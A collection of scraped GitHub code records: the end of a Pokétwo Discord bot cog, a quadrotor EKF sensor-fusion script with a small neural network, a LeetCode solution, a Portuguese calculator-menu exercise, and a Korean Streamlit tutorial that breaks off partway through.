{ctx.author.mention}! You caught a level {level} {species}!\"\n\n        memberp = await self.db.fetch_pokedex(\n            ctx.author, species.dex_number, species.dex_number + 1\n        )\n\n        if str(species.dex_number) not in memberp.pokedex:\n            message += \" Added to Pokédex. You received 35 Pokécoins!\"\n\n            await self.db.update_member(\n                ctx.author,\n                {\n                    \"$set\": {f\"pokedex.{species.dex_number}\": 1},\n                    \"$inc\": {\"balance\": 35},\n                },\n            )\n\n        else:\n            inc_bal = 0\n\n            if memberp.pokedex[str(species.dex_number)] + 1 == 10:\n                message += f\" This is your 10th {species}! You received 350 Pokécoins.\"\n                inc_bal = 350\n\n            elif memberp.pokedex[str(species.dex_number)] + 1 == 100:\n                message += (\n                    f\" This is your 100th {species}! You received 3500 Pokécoins.\"\n                )\n                inc_bal = 3500\n\n            elif memberp.pokedex[str(species.dex_number)] + 1 == 1000:\n                message += (\n                    f\" This is your 1000th {species}! You received 35000 Pokécoins.\"\n                )\n                inc_bal = 35000\n\n            await self.db.update_member(\n                ctx.author,\n                {\"$inc\": {\"balance\": inc_bal, f\"pokedex.{species.dex_number}\": 1},},\n            )\n\n        if member.shiny_hunt == species.dex_number:\n            if shiny:\n                message += f\"\\n\\nShiny streak reset.\"\n                await self.db.update_member(ctx.author, {\"$set\": {\"shiny_streak\": 0}})\n            else:\n                message += f\"\\n\\n+1 Shiny chain! (**{member.shiny_streak + 1}**)\"\n                await self.db.update_member(ctx.author, {\"$inc\": {\"shiny_streak\": 1}})\n\n        if shiny:\n            message += \"\\n\\nThese colors seem unusual... ✨\"\n\n        await ctx.send(message)\n\n    @checks.has_started()\n    @commands.command(aliases=[\"sh\"])\n    async def shinyhunt(self, ctx: commands.Context, *, species: str = None):\n        \"\"\"Hunt for a shiny pokémon species.\"\"\"\n\n        member = await self.db.fetch_member_info(ctx.author)\n\n        if species is None:\n            embed = self.bot.Embed()\n            embed.title = f\"Shiny Hunt ✨\"\n            embed.description = \"You can select a specific pokémon to shiny hunt. Each time you catch that pokémon, your chain will increase. The longer your chain, the higher your chance of catching a shiny one!\"\n\n            embed.add_field(\n                name=f\"Currently Hunting\",\n                value=self.bot.data.species_by_number(member.shiny_hunt).name\n                if member.shiny_hunt\n                else \"Type `p!shinyhunt <pokémon>` to begin!\",\n            )\n\n            if member.shiny_hunt:\n                embed.add_field(name=f\"Chain\", value=str(member.shiny_streak))\n\n            return await ctx.send(embed=embed)\n\n        species = self.bot.data.species_by_name(species)\n\n        if species is None:\n            return await ctx.send(f\"Could not find a pokemon matching `{species}`.\")\n\n        if not species.catchable:\n            return await ctx.send(\"This pokémon can't be caught in the wild!\")\n\n        if member.shiny_streak > 0:\n            await ctx.send(\n                f\"Are you sure you want to shiny hunt a different pokémon? Your streak will be reset. [y/N]\"\n            )\n\n            def check(m):\n                return m.channel.id == ctx.channel.id and m.author.id == ctx.author.id\n\n            try:\n                msg = await self.bot.wait_for(\"message\", timeout=30, check=check)\n            except asyncio.TimeoutError:\n                return await ctx.send(\"Time's up. Aborted.\")\n\n            if msg.content.lower() != \"y\":\n                return await ctx.send(\"Aborted.\")\n\n        await self.db.update_member(\n            ctx.author, {\"$set\": {\"shiny_hunt\": species.id, \"shiny_streak\": 0},},\n        )\n\n        await ctx.send(f\"You are now shiny hunting **{species}**.\")\n\n\ndef setup(bot):\n    bot.add_cog(Spawning(bot))\n","repo_name":"WxWatch/poketwo","sub_path":"cogs/spawning.py","file_name":"spawning.py","file_ext":"py","file_size_in_byte":16080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"74641501521","text":"\"\"\"\n@author: Anirudh Kailaje, Dhruv Parikh\n@date: 4/24/2023\n@Description: EKF for quadrotor state estimation by fusing IMU and Noisy Capture Data. \nVersion: 5.0 - Probably Final\n\"\"\"\n\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom dataloader import *\nfrom dynamicsSim import *\nfrom numpy import sin, cos\nimport tqdm\nfrom copy import deepcopy\nimport torch\nimport torch.nn as nn\n\n#This is not recommended \nimport os\nos.environ[\"KMP_DUPLICATE_LIB_OK\"]=\"TRUE\"\n\n\nclass euler_model(nn.Module):\n    def __init__(self):\n        super().__init__()\n        self.layer1 = nn.Linear(9, 30, dtype=torch.float64)\n        self.layer2 = nn.Linear(30, 30, dtype=torch.float64)\n        self.layer3 = nn.Linear(30, 3, dtype=torch.float64)\n        self.tanh = nn.Tanh()\n\n    def forward(self, sensor_reading):\n        x = self.tanh(self.layer1(sensor_reading))\n        x = self.tanh(self.layer2(x))\n        x = self.layer3(x)\n        return x\n\n\nclass OnlineLearningFusion:\n    def __init__(self,dataDir = r'C:\\Users\\dhruv\\Desktop\\Penn\\Sem2\\ESE650\\FinalProject\\DeepIO\\data\\clover'):\n        \"\"\"\n        Standard Multi Sensor Fusion Parameters\n            - self.state: State of the quadrotor defined as [x, y, z, vx, vy, vz, ax, ay, az, psi, theta, phi, p, q, r, bax, bay, baz, bwx, bwy, bwz]\n        \"\"\"\n        #Loading Model first since it takes a lot of time\n        self.model = euler_model()\n        #load dict\n        self.model.load_state_dict(torch.load('src/NN_Euler.pt',map_location=torch.device('cpu')))\n        self.model.eval()\n\n        #Flags for Combining various sensors and dynamics \n        self.MotionCap = 2\n        self.IMU = 1 #1 for IMU, 2 for Motion Capture, Dynamics otherwise Will be used for calcJacobian, measurement model\n        self.NN = 10\n\n        #State and Covariance\n        self.state = np.zeros((21, 1))\n        self.covariance = np.zeros((21, 21))\n\n        self.R = np.eye(3,3)  #Mocap Measurment Noise\n        self.R_imu = deepcopy(np.eye(3,3)*1.0)*100  #NN IMU Measrument Noise\n\n        self.Q = np.eye(self.covariance.shape[0])*1e10  #State Update through IMU\n\n        #Nobody should use these shit variables\n        self.PropogationJacobian = None\n        self.MeasurmentJacobian = None\n\n        #Dynamics Class\n        self.dynamics = dynamics()\n\n        #Load Data Class\n        self.loadDataUtil = dataloader(dataDir)\n        self.loadDataUtil.runPipeline()\n        self.loadDataUtil.homogenizeData()\n\n        \n\n\n\n    def calcJacobian(self, dt, measurment= 1, omega = np.zeros(4)):\n        \"\"\"\n        Returns the desired jacobian for the EKF\n        Inputs:\n            - dt: Time Step\n            - measurment: 1 for IMU, 2 for Motion Capture, Dynamics otherwise\n            - omega: motor speeds of the quadrotor\n        Outputs:\n            - None; Computes the jacobian and stores it in the class in self.MeasurmentJacobian or self.PropogationJacobian\n        \"\"\"\n        psi, theta, phi = self.state[6:9].flatten()\n        Rdot_phi = np.array([[-sin(phi)*cos(theta), -cos(phi)*cos(psi)-sin(phi)*sin(theta)*sin(psi), cos(phi)*sin(psi)-sin(phi)*sin(theta)*cos(psi)],\n                                    [cos(phi)*cos(theta), -sin(phi)*cos(psi)+cos(phi)*sin(theta)\n                                    * sin(psi), sin(phi)*sin(psi)+cos(phi)*sin(theta)*cos(psi)],\n                                    [-sin(theta),                            cos(theta)*sin(psi), cos(theta)*cos(psi)]])\n        Rdot_theta = np.array([[-cos(phi)*sin(theta),                   cos(phi)*cos(theta)*sin(psi), cos(phi)*cos(theta)*cos(psi)],\n                                [-sin(phi)*sin(theta),                   sin(phi) *\n                                cos(theta)*sin(psi), sin(phi)*cos(theta)*cos(psi)],\n                                [-cos(theta),                             -sin(phi)*sin(psi), -sin(phi)*cos(psi)]])\n        Rdot_psi = np.array([[0, sin(phi)*sin(psi)+cos(phi)*sin(theta)*cos(psi), sin(phi)*cos(psi) - cos(phi)*sin(theta)*sin(psi)],\n                                [0, -cos(phi)*sin(psi)+sin(phi)*sin(theta)*cos(psi), -\n                                cos(phi)*cos(psi) - sin(phi)*sin(theta)*sin(psi)],\n                                [0,                              cos(theta)*cos(psi), -cos(theta)*sin(psi)]])\n        \n        if measurment == self.IMU: #Returns the meassurement jacobian for the IMU \n            self.MeasurmentJacobian = np.zeros((6, 21))\n            dg_dpsi = Rdot_psi.T @ self.state[6:9].reshape(-1,1)\n            dg_dtheta = Rdot_theta.T @ self.state[6:9].reshape(-1,1)\n            dg_dphi = Rdot_phi.T @ self.state[6:9].reshape(-1,1)\n            self.MeasurmentJacobian[0:3, 8] = dg_dpsi.flatten()\n            self.MeasurmentJacobian[0:3, 7] = dg_dtheta.flatten()\n            self.MeasurmentJacobian[0:3, 6] = dg_dphi.flatten()\n            dg_dpsi = Rdot_psi.T @ self.state[15:18].reshape(-1,1)\n            dg_dtheta = Rdot_theta.T @ self.state[15:18].reshape(-1,1)\n            dg_dphi = Rdot_phi.T @ self.state[15:18].reshape(-1,1)\n            \n            self.MeasurmentJacobian[0:3, 17] = dg_dpsi.flatten()\n            self.MeasurmentJacobian[0:3, 16] = dg_dtheta.flatten()\n            self.MeasurmentJacobian[0:3, 15] = dg_dphi.flatten()\n\n            dg_dpsi = Rdot_psi.T @ self.state[12:15].reshape(-1,1)\n            dg_dtheta = Rdot_theta.T @ self.state[12:15].reshape(-1,1)\n            dg_dphi = Rdot_phi.T @ self.state[12:15].reshape(-1,1)\n            self.MeasurmentJacobian[3:6, 14] = dg_dpsi.flatten()\n            self.MeasurmentJacobian[3:6, 13] = dg_dtheta.flatten()\n            self.MeasurmentJacobian[3:6, 12] = dg_dphi.flatten()\n            \n            dg_dpsi = Rdot_psi.T @ self.state[18:].reshape(-1,1)\n            dg_dtheta = Rdot_theta.T @ self.state[18:].reshape(-1,1)\n            dg_dphi = Rdot_phi.T @ self.state[18:].reshape(-1,1)\n            self.MeasurmentJacobian[3:6, 18] = dg_dpsi.flatten()\n            self.MeasurmentJacobian[3:6, 19] = dg_dtheta.flatten()\n            self.MeasurmentJacobian[3:6, 20] = dg_dphi.flatten()\n            return self.MeasurmentJacobian\n        elif measurment == self.NN:\n            J = np.zeros((3, 21))\n            J[:,9:12] = np.eye(3)\n            return J\n        \n        elif measurment == self.MotionCap: #Returns measurement jacobian for motion capture input\n            J = np.zeros((3, 21))\n            J[:,0:3] = np.eye(3)\n            return J\n\n        else: #Returns the dynamics Jacobian\n            \"\"\"\n            Thought:\n            We will fuse acceleration from previous time step. Since we can avoid Rotation matrix in Jacobian\n            \"\"\"\n            jacobian = np.zeros((21, 21))\n            #Position Jac\n            jacobian[0:3, 0:3] = np.eye(3)          #Previous Pos\n            jacobian[0:3, 3:6] = np.eye(3)*dt       #Previos Vel\n            jacobian[0:3, 6:9] = 0.5*np.eye(3)*dt*dt       #Previos Acc\n            #Velocity Jac\n            jacobian[3:6, 3:6] = np.eye(3)          #Previous Vel\n            jacobian[3:6, 6:9] = np.eye(3)*dt       #Acc\n            \n            #Acceleration Jacobian\n            dg_dpsi = Rdot_psi @ self.state[6:9].reshape(-1,1)\n            dg_dtheta = Rdot_theta @ self.state[6:9].reshape(-1,1)\n            dg_dphi = Rdot_phi @ self.state[6:9].reshape(-1,1)\n            jacobian[6:9,6:9] = np.eye(3)\n            jacobian[6:9,15:18] = -np.eye(3)\n\n            # x,y,z,vx,vy,vz,acc,acc,acc,r,p,y,wx,wy,wz,acb,ac\n            #Acceleration Biases in acceleration\n            dg_dpsi = Rdot_psi @ self.state[15:18].reshape(-1,1)\n            dg_dtheta = Rdot_theta @ self.state[15:18].reshape(-1,1)\n            dg_dphi = Rdot_phi @ self.state[15:18].reshape(-1,1)\n\n            #Angles\n            jacobian[9:12,9:12] = np.eye(3)\n            jacobian[9:12,12:15] = np.eye(3)*dt\n            #Angular Velocity\n            jacobian[12:15,12:15] = np.eye(3)            \n            #Gyro Biases in omega\n            jacobian[12:15, -1] = -1#-dg_dpsi.flatten()\n            jacobian[12:15, -2] = -1#-dg_dtheta.flatten()\n            jacobian[12:15, -3] = -1#-dg_dphi.flatten()\n\n            #Rest all are zero\n            return jacobian\n\n    def propogateStep2(self, state, rpm, dt):\n        J = self.calcJacobian(dt, measurment=0)\n        self.state = self.dynamics.propogateDynamics(state, rpm, dt)\n        self.covariance = J@self.covariance@J.T + self.Q\n\n    def propogateStep(self, state, imu, dt):\n        \"\"\"\n        Propogate Step requires IMU measurement packet, previous step and dt\n        \"\"\"\n        #propogate acc-  abias + gdt\n        \n        self.state = self.dynamics.propogateIMUDynamics(state,imu,dt)\n        J = self.calcJacobian(dt, measurment=-1)\n        self.covariance = J@self.covariance@J.T + self.Q\n\n    def measurementModel(self, packet_num = 1):\n        #x,y,z,vx,vy,vz,acc,acc,acc,r,p,y,wx,wy,wz,acb,ac\n        if packet_num==self.NN:\n            return self.state[9:12].reshape(-1,1)\n        \n        if packet_num == 2: #Motion capture\n            return self.state[:3].reshape(-1,1)\n            return np.vstack((self.state[0:3], self.state[9:12]))\n        else:            #IMU\n            #Rotation of IMU wrt NED\n            R = Rotation.from_euler('xyz',self.state[9:12].flatten()).as_matrix()\n            #Rotation of NED wrt imu\n            R = R.T\n            gyro = R@(self.state[12:15].reshape(-1,1)+self.state[18:].reshape(-1,1)).reshape(-1,1) \n            acc = R@(self.state[6:9].reshape(-1,1)+self.state[15:18].reshape(-1,1))\n            return np.vstack((acc,gyro))\n        \n    def getValidRotation(self, R):\n        \"\"\"\n        Least Squares Optimization for Rotation matrices in closest rotation for rounding errors\n        \"\"\"\n        for _ in range(3):\n            R = np.round(R,3)\n            U,_,Vt = np.linalg.svd(R)\n            Smod = np.eye(3)\n            Smod[-1,-1] = np.linalg.det(U@Vt)\n            R = U@Smod@Vt\n        return R\n\n    def measurmentStep(self, measurments, dt, packet_num = 1, Adapt = True, beta = 0.7, alpha = 0.3):  \n        if packet_num==self.NN:\n            # Rot = self.getValidRotation(Rotation.from_euler('xyz', self.state[9:12].flatten()).as_matrix()).T\n            # measurments[:3] = (measurments[:3].reshape(-1,1) - Rot@self.grav.reshape(-1,1)).flatten()\n\n            #Normalizing the accelerometer\n            # measurments[:3] = 9.81*measurments[:3]/np.linalg.norm(measurments[:3])\n            R = deepcopy(self.R_imu)\n        else:\n            R = deepcopy(self.R)\n\n        #Innovation calculation\n        y = measurments.reshape(-1,1) - self.measurementModel(packet_num= packet_num)\n        #Measurement Jacobian\n        H = self.calcJacobian(dt,measurment=packet_num)\n\n        #Used for AdaptiveEKF, S is the covariance of mear\n        S = H@self.covariance@H.T + R\n\n        #Kalman Gain\n        K = self.covariance@H.T@np.linalg.inv(S)\n\n        old_state = self.state.copy()\n        self.state = self.state + K@y\n        q = Rotation.from_euler('xyz', self.state[9:12].flatten()).as_quat()\n        q = q/np.linalg.norm(q)\n\n        self.state[9:12] = Rotation.from_quat(q).as_euler('xyz').reshape(-1,1)\n\n        #Apadtive EKF\n        if Adapt:\n            #Angle Naive Residual Calculation\n            residual = measurments.reshape(-1,1) - self.measurementModel(packet_num=packet_num)\n            if packet_num == self.MotionCap:\n                #Nearest rotation residuals -> doesnt matter the directions\n                residual[3:] = np.arctan2(np.sin(residual[3:]),np.cos(residual[3:]))\n\n            # if packet_num==1:\n            #     residual[:3] = residual[:3]*np.clip(np.linalg.norm(measurments[:3])/10,1,None)\n\n            R = beta*R + (1-beta)*(residual@residual.T+H@self.covariance@H.T)\n            \n            #Recalculating State Update\n            H = self.calcJacobian(dt,measurment=packet_num)\n            S = H@self.covariance@H.T + R\n            K = self.covariance@H.T@np.linalg.inv(S)\n            self.state = old_state + K@y\n            q = Rotation.from_euler('xyz', self.state[9:12].flatten()).as_quat()\n            q = q/np.linalg.norm(q)\n\n            self.state[9:12] = Rotation.from_quat(q).as_euler('xyz').reshape(-1,1)\n            ####Adaptive Q part Doesnt work for some reason####\n        if False:\n            #There are two formulas, 2nd one works this one might not\n            self.Q = alpha*self.Q + (1-alpha)*(K@y@y.T@K.T)\n                \n        #Covariance Update\n        self.covariance = (np.eye(21) - K@H)@self.covariance\n\n        if packet_num== self.NN:\n            self.R_imu = deepcopy(R)\n        else:\n            self.R = deepcopy(R)\n\n\n\n\n        if np.all(np.linalg.eigvals(self.Q) < 0) or np.all(np.linalg.eigvals(self.R) < 0):\n            print(\"AdaptiveEKF Q or R is not positive definite\")\n\n\n    def runPipeline(self,  \n                    Adapt = False, sensor_biases = np.array([1000.0, 130, -150.0]), IMU_step = 20, MotionCap_step = 1000, beta = 0.5, alpha = 0.3):\n        #____________________________Load Data____________________________#\n        \n        \n        gyro, acc, rpm, mocap, q, t = self.loadDataUtil.convertDataToIndividualNumpy()\n        perturbedMocap = self.loadDataUtil.perturbStates()[:,1:]\n        \n        Gtruth = mocap.copy()\n        mocap = perturbedMocap[:,:3]\n        quats = perturbedMocap[:,3:]\n        \n\n        \n\n        #____________Rotate the Motion Capture to IMU frame from Body Frame_______#\n        # R from imu to ned Frame\n        R_imu_to_ned = np.array([[-1, 0, 0],\n                                 [0, -1, 0],\n                                 [0,  0, 1]])\n        R_imutoBody= np.array([ [0, -1, 0],\n                                [1,  0, 0],\n                                [0,  0, 1]])\n        \n        mocap = R_imutoBody @ mocap.T\n        Gtruth = R_imutoBody@ Gtruth\n        eulers = []\n        for i in range(quats.shape[0]):\n            R_temp = R_imutoBody@Rotation.from_quat(quats[i, :]).as_matrix()\n            quats[i, :] = Rotation.from_matrix(R_temp).as_quat().flatten()\n            quat = Quaternion(scalar = quats[i, -1], vec = quats[i, 0:3])\n            eulers.append(quat.euler_angles())\n        eulers = np.array(eulers)\n        \n\n\n        #_________________Initialize State_________________________#\n        \n        self.state += 1e-15\n        self.state[:3] = mocap[:,0].reshape(-1,1)\n        self.state[9:12] = eulers[0,:].reshape(-1,1)\n        # self.state[9:12] = Rotation.from_quat(q[:,0].flatten()).as_euler('xyz').reshape(-1,1)\n        self.state[18:] = gyro[:,:20].mean(axis=1).reshape(-1,1)\n        self.state[15:17] = acc[:2,:20].mean(axis=1).reshape(-1,1)\n        # self.state[-2:] = sensor_biases.reshape(-1,1)\n        self.grav = -np.array([0,0,9.81]).reshape(-1,1)\n\n\n        ##--Loop--#\n        self.estimates = []\n        self.estimates.append(self.state)\n        self.covariances = []\n        self.covariances.append(self.covariance)\n        self.groundtruth = np.vstack((Gtruth, eulers.T)).T\n        self.groundtruth = self.groundtruth[:25000, :]\n\n        for i in tqdm.tqdm(range(1,25000)):\n\n\n            #---------------- Propogation ---------------#\n            #Time Difference\n            dt = t[i] - t[i-1]\n\n            #Preparing IMU packet for State Propogation\n            imuPacket = np.array([float(acc[0,i]),float(acc[1,i]),float(acc[2,i]),\n                                            float(gyro[0,i]),float(gyro[1,i]),float(gyro[2,i])])\n\n            #To remove non linearity in jacobian we need to iterate 10 times in single time frame\n            for j in range(10):\n                self.propogateStep(self.state,imuPacket,dt/10)\n\n\n\n\n            #---------------- Neural Network ---------------#\n            #Sensor Packet for Neural Network Propogation\n            neuralPacket = np.array([float(acc[0,i]),float(acc[1,i]),float(acc[2,i]),\n                float(gyro[0,i]),float(gyro[1,i]),float(gyro[2,i]),0,0,-9.8])\n            #Converting to tensor\n            neuralInput = torch.tensor(neuralPacket,dtype=torch.float64)\n            #Model Forward\n            nnPacket = self.model(neuralInput).cpu().detach().numpy()\n            # nnPacket = R_imutoBody@Rotation.from_euler('xyz',nnPacket.flatten()).as_matrix()\n            # nnPacket = Rotation.from_matrix(nnPacket).as_euler('xyz')\n            nnPacket = 0.6*self.state[9:12].reshape(-1,1) + 0.4*nnPacket.reshape(-1,1)\n\n            #Measurment step\n            self.measurmentStep(nnPacket, dt, packet_num = self.NN, Adapt =Adapt, beta = beta)\n\n            #----------- Motion Capture ------------#               \n            if i%MotionCap_step == 0 or (i<5000):\n                #Packet for Motion Capture\n                measurementPacket2 = np.array([mocap[0,i],mocap[1,i],mocap[2,i]])         \n                #Measurement Update Step\n                self.measurmentStep(measurementPacket2, dt, packet_num = self.MotionCap, Adapt = 1-Adapt, beta = beta)\n\n\n            #----------- Loggers -----------------#                \n            self.estimates.append(self.state)\n            self.covariances.append(self.covariance)\n        \n        self.estimates = np.array(self.estimates).reshape(-1,21)\n        self.covariances = np.array(self.covariances).reshape(-1,21,21)\n\n        return self.estimates, self.covariances, self.groundtruth, gyro, acc, perturbedMocap, eulers\n\n\nif __name__ == '__main__':\n    #Define the class\n    learner = OnlineLearningFusion()\n    #Run Pipeline\n    estimate, covariance, ground_truth, gyro, acc, perturbedMocap, eulers = learner.runPipeline(\n    Adapt=1, IMU_step=20, MotionCap_step=1000, sensor_biases=np.array([1000.0, 130, -150.0]), beta=0.1)\n    #Plots \n    fig, axs = plt.subplots(2, 3, figsize=(20, 10))\n\n    axs[0, 0].plot(estimate[:, 0], label='estimate_x')\n    axs[0, 0].plot(ground_truth[:, 0], label='ground_truth_x')\n    axs[0, 0].legend()\n\n    axs[0, 1].plot(estimate[:, 1], label='estimate_y')\n    axs[0, 1].plot(ground_truth[:, 1], label='ground_truth_y')\n    axs[0, 1].legend()\n\n    axs[0, 2].plot(estimate[:, 2], label='estimate_z')\n    axs[0, 2].plot(ground_truth[:, 2], label='ground_truth_z')\n    axs[0, 2].legend()\n\n    axs[1, 0].plot(estimate[:, 9]*180/np.pi, label='estimate_psi')\n    axs[1, 0].plot(ground_truth[:, 3]*180/np.pi,\n                label='ground_truth_psi', alpha=0.8)\n    axs[1, 0].legend()\n\n    axs[1, 1].plot(estimate[:, 10]*180/np.pi, label='estimate_theta')\n    axs[1, 1].plot(ground_truth[:, 4]*180/np.pi, label='ground_truth_theta')\n    axs[1, 1].legend()\n\n    axs[1, 2].plot(estimate[:, 11]*180/np.pi, label='estimate_phi')\n    axs[1, 2].plot(ground_truth[:, 5]*180/np.pi, label='ground_truth_phi')\n    axs[1, 2].legend()\n\n    plt.show()","repo_name":"git-dhruv/DeepIO","sub_path":"src/DeepAEKF.py","file_name":"DeepAEKF.py","file_ext":"py","file_size_in_byte":18602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8992189222","text":"# Author: RT\n# Date: 2022-09-27T13:29:18.061Z\n# URL: https://leetcode.com/problems/push-dominoes/\n\n\nclass Solution:\n    def pushDominoes(self, dominoes: str) -> str:\n        n = len(dominoes)\n        force = [0] * n\n\n        f = 0\n        for i in range(n):\n            curr = dominoes[i]\n            if curr == \"R\":\n                f = n\n            elif curr == \"L\":\n                f = 0\n            else:\n                f = max(f - 1, 0)\n            force[i] += f\n\n        f = 0\n        for i in range(n - 1, -1, -1):\n            curr = dominoes[i]\n            if curr == \"R\":\n                f = 0\n            elif curr == \"L\":\n                f = n\n            else:\n                f = max(f - 1, 0)\n            force[i] -= f\n\n        return \"\".join(\".\" if f == 0 else \"R\" if f > 0 else \"L\" for f in force)\n","repo_name":"Roytangrb/dsa","sub_path":"leetcode/python/838-push-dominoes.py","file_name":"838-push-dominoes.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"26894496825","text":"#Exercício 59: Crie um programa que leia dois valores e mostre um menu na tela:\n#[1] Somar\n#[2] Multiplicar\n#[3] Maior\n#[4] Novos Números\n#[5] Sair do Programa\n#Seu programa deverá realizar a operação solicitada em cada caso.\nfrom time import sleep\nn1 = int(input(\"Digite o primeiro número: \"))\nn2 = int(input(\"Digite o segundo número: \"))\nopcao = 0\nwhile opcao != 5:\n    print(\"\"\"-----MENU-----\"\n[1] Somar\"\n[2] Multiplicar\"\n[3] Maior\"\n[4] Novos Números\n[5] Sair do Programa\"\"\")\n    opcao = int(input(\"Digite a opção desejada: \"))\n    if opcao == 1:\n        soma = n1 + n2\n        print(\"A soma entre {} e {} é {}.\".format(n1, n2, soma))\n    elif opcao == 2:\n        mult = n1 * n2\n        print(\"A multiplicação entre {} e {} é {}.\".format(n1, n2, mult))\n    elif opcao == 3:\n        if n1 > n2:\n            maior = n1\n        else:\n            maior = n2\n        print(\"O maior número entre {} e {} é {}\".format(n1, n2, maior))\n    elif opcao == 4:\n        print(\"Informe novos números\")\n        n1 = int(input(\"Digite o primeiro número: \"))\n        n2 = int(input(\"Digite o segundo número: \"))\n    elif opcao == 5:\n        print(\"Finalizando...\")\n    else:\n        print(\"Opção inválida! Tente novamente\")\n    print('=-=' * 10)\n    sleep(1.5)\nprint(\"Programa encerrado! Volte sempre!\")\n","repo_name":"giolangella/ExerciciosPython","sub_path":"ex000 a 106/ex059.py","file_name":"ex059.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74367727122","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 16 10:31:21 2023\n\n@author: Jung\n\"\"\"\n\nimport streamlit as st\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndef desc():\n    st.divider() \n    st.write('''**Streamlit이란?**\n             파이썬을 이용하여 간단하게 웹 애플리케이션을 만들 수 있는 라이브러리. \n             Streamlit을 사용하면 파이썬 스크립트로 간단하게 데이터 시각화, 차트, 그래프, 표, 이미지 등을 웹 페이지로 변환하고, \n             사용자와 상호작용할 수 있는 기능을 추가할 수 있다.''')\n    st.divider()          \n        \n    st.write('''**stramlit 설치 방법**''')\n    st.write('''1. 터미널을 통해 설치하려는 환경에 진입한 후 ‘pip install streamlit’을 입력하여 설치를 진행한다.''')\n    st.image('./images/sl1.png', use_column_width = True)\n    st.write('''#''')\n    \n    st.write('''2. ‘Successfully installed-’ 라는 문구가 뜨면 설치가 완료됐음을 확인한다.\n             *중간에 winerr 225 에러가 뜨면 실행중인 백신을 끄고 설치를 다시 진행한다.''')\n    st.image('./images/sl2.png', use_column_width = True)\n    st.write('''#''')\n             \n    st.write('''3. 설치 완료 후 python 실행 모드로 진입, ‘import streamlit’을 입력하여 streamlit 설치 유무를 확인한다. \n             아무것도 뜨지 않는다면 설치가 제대로 된 것이다.''')\n    st.image('./images/sl3.png', use_column_width = True)\n    st.write('''#''')\n\n    st.divider()     \n\n    st.write('''**streamlit을 사용한 웹서버 작동법**''')\n    st.write(''''1. streamlit 이 설치된 가상환경으로 진입한다.''')\n    st.image('./images/sl4.png', use_column_width = True)\n    st.write('''#''')\n\n    st.write('''2. 작성한 파일(ex. app.py)이 있는 폴더로 이동한다.''')\n    st.image('./images/sl5.png', use_column_width = True)\n    st.write('''#''')\n    \n    st.write('''3. ‘streamlit run 파일명(app.py)’ 를 입력하여 웹서버를 작동시킨다.\n             (웹 브라우저에서 ‘http://localhost:8501’ 주소로도 접속 가능하다.)''')\n    st.image('./images/sl6.png', use_column_width = True)\n    st.write('''#''')\n    \n    st.write('''**streamlit 웹서버 종료 방법**''')\n    st.write('''streamlit을 실행시킨 터미널(콘솔, powershell prompt)에서 crtl + c 버튼을 누른다.''')\n    st.image('./images/sl7.png', use_column_width = True)\n    st.write('''#''')\n    \n    st.divider()     \n    \n    st.write('''**streamlit 주요 기능 소개**''')\n    st.write('''- 제목 및 텍스트 추가''')\n    code1 = '''\n    import streamlit as st \n    st.title('제목에 들어갈 내용') \n    st.header('헤더에 들어갈 내용') \n    st.write('텍스트 추가')\n    '''\n    st.code(code1, language='python')\n    st.title('제목에 들어갈 내용') \n    st.header('헤더에 들어갈 내용') \n    st.write('텍스트 추가')\n    \n    st.write('''#''')\n    st.write('''- 이미지 및 캡션 삽입''')    \n    code2 = '''\n    import streamlit as st \n    st.image('이미지 URL 또는 파일 경로', caption='이미지 캡션', use_column_width=True)\n    '''\n    st.code(code2, language='python')    \n    st.write('''*use_column_width=True : 현재 창을 기준으로 크기 조정''')\n    \n    st.write('''#''')\n    st.write('''- 그래프와 차트 추가''')\n    code3 = '''\n    import streamlit as st \n    data = [10, 20, 30, 40, 50]\n    st.line_chart(data)\n    '''\n    st.code(code3, language='python')    \n    data = [10, 20, 30, 40, 50]\n    st.line_chart(data)\n    \n    st.write('''#''')\n    st.write('''- 위젯 추가''')\n    code4 = '''\n    import streamlit as st \n    user_input = st.text_input('사용자 입력:')\n    st.checkbox('체크박스')\n    button_clicked = st.button('버튼')\n    if button_clicked:\n        st.write('버튼이 클릭되었습니다.')\n    '''\n    st.code(code4, language='python')    \n    user_input = st.text_input('사용자 입력:')\n    st.checkbox('체크박스')\n    button_clicked = st.button('버튼')\n    if button_clicked:\n        st.write('버튼이 클릭되었습니다.')\n    \n    st.write('''#''')\n    st.write('''- Pandas 데이터 프레임 추가''')\n    code5 = '''\n    import streamlit as st \n    import pandas as pd\n    df = pd.DataFrame({'A': [1, 2, 3], 'B': [4, 5, 6]})\n    st.dataframe(df)\n    '''\n    st.code(code5, language='python')        \n    df = pd.DataFrame({'A': [1, 2, 3], 'B': [4, 5, 6]})\n    st.dataframe(df)\n    \n    st.write('''#''')\n    st.write('''- Matplotlib 그래프 추가''')\n    code6 = '''\n    import streamlit as st \n    import matplotlib.pyplot as plt\n    plt.plot([1, 2, 3])\n    st.pyplot(plt)\n    '''\n    st.code(code6, language='python')    \n    plt.plot([1, 2, 3])\n    st.pyplot(plt)\n    \n    st.write('''#''')\n    st.write('''- 칼럼으로 레이아웃 분할''')\n    code7 = '''\n    import streamlit as st\n    col1, col2 = st.columns([2,3])\n\n    with col1 :\n      st.title('첫번째 칼럼')\n      st.write('첫번째 칼럼에 들어가는 내용입니다.')\n    with col2 :\n      st.title('두번째 칼럼')\n      st.write('두번째 칼럼에 들어가는 내용입니다.')\n    '''\n    st.code(code7, language='python') \n    col1, col2 = st.columns([2,3])\n\n    with col1 :\n      st.title('첫번째 칼럼')\n      st.write('첫번째 칼럼에 들어가는 내용입니다.')\n    with col2 :\n      st.title('두번째 칼럼')\n      st.write('두번째 칼럼에 들어가는 내용입니다.')\n    \n    st.write('''#''')\n    st.write('''- 사이드바 설정''')\n    code8 = '''\n    import streamlit as st\n    item = st.sidebar.selectbox('항목', ['선택1', '선택2'])\n\n    if item == '선택1':\n        st.write('1번이 선택되었습니다.')\n    elif item == '선택2':\n        st.write('2번이 선택되었습니다.')\n    '''\n    st.code(code8, language='python')\n  